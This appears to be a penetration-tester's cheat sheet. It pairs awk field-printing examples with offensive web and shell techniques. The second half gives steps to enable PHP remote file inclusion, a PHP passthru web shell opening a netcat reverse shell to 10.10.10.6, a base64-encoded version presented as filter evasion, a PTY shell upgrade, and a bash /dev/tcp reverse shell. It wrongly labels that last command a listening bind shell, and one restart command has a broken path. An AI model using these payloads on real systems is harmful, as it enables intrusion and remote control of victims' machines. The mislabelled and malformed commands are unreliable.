Text_Processing_and_Shell_Operations

Command Reference: Text Processing and Shell Operations

awk Commands

awk is a powerful text-processing language that is used for pattern scanning and processing. Below are some common awk commands and their explanations:

Basic Commands

1. Print Specific Fields from a File

   awk -F ":" '{print $1 $6}' /etc/passwd

   • -F sets the delimiter, in this case, a colon (:), which awk uses to recognize columns from the input.
   • {print $1 $6} prints the first and sixth fields of each line in the /etc/passwd file.

2. Set Field and Output Field Separators

   awk 'BEGIN{FS=":"; OFS="-"} {print $1,$6,$7}' /etc/passwd

   • BEGIN{FS=":"; OFS="-"} sets the input field separator to a colon (:) and the output field separator to a hyphen (-).
   • {print $1,$6,$7} prints the first, sixth, and seventh fields of each line in the /etc/passwd file.

3. Print the Last Field of Lines Starting with a Slash

   awk -F "/" '/^\// {print $NF}' /etc/shells

   • -F "/" sets the delimiter to a slash (/).
   • /^\// matches lines that start with a slash.
   • $NF represents the last field of the line.

4. Print Lines Shorter Than 8 Characters

   awk 'length($0) < 8' /etc/shells

   • length($0) < 8 prints lines where the total length is less than 8 characters.

5. Print Lines Starting with 'b' or 'c'

   awk '$1 ~ /^[b,c]/ {print $0}' .bashrc

   • $1 ~ /^[b,c]/ matches lines where the first field starts with 'b' or 'c'.
   • {print $0} prints the entire line.

Enable Remote File Inclusion on a PHP Website

Remote File Inclusion (RFI) allows a PHP script to include and execute code from a remote server. This can be useful for testing but poses significant security risks if not properly managed.

Steps to Enable RFI

1. Edit PHP Configuration

   sudo nano /etc/php5/cgi/php.ini

   • Open the PHP configuration file in a text editor.

2. Search for Configuration Options

   • Press Ctrl + w and search for allow_url.

3. Enable URL Options

   • Set allow_url_fopen and allow_url_include to On.

4. Restart Web Server

   sudo /etc/init.d/apache2/restart

Execute OS Commands with passthru()

1. Create a PHP File

   <?php
   passthru("nc -e /bin/sh 10.10.10.6 8080");
   ?>

2. Base64 Encoding to Evade Filters

   <?php
   passthru(base64_decode("bmMgLWUgL2Jpbi9zaCAxMC4xMC4xMC42IDgwODA="));
   ?>

   • base64_decode decodes the base64-encoded string, which helps evade certain filters.

Shell Spawning

Spawning a shell can be useful for gaining interactive access to a system.

Python3 PTY Shell

1. Spawn a PTY Shell

   python3 -c 'import pty; pty.spawn("/bin/bash")'

   • This command spawns a pseudo-terminal (PTY) shell.

2. Turn Off Terminal Echo and Foreground the Shell

   export TERM=xterm
   stty raw -echo; fg

Bash BIND Shell

1. Create a BIND Shell

   bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1"

   • This command creates a BIND shell that listens on port 443 and redirects input/output to the specified IP address.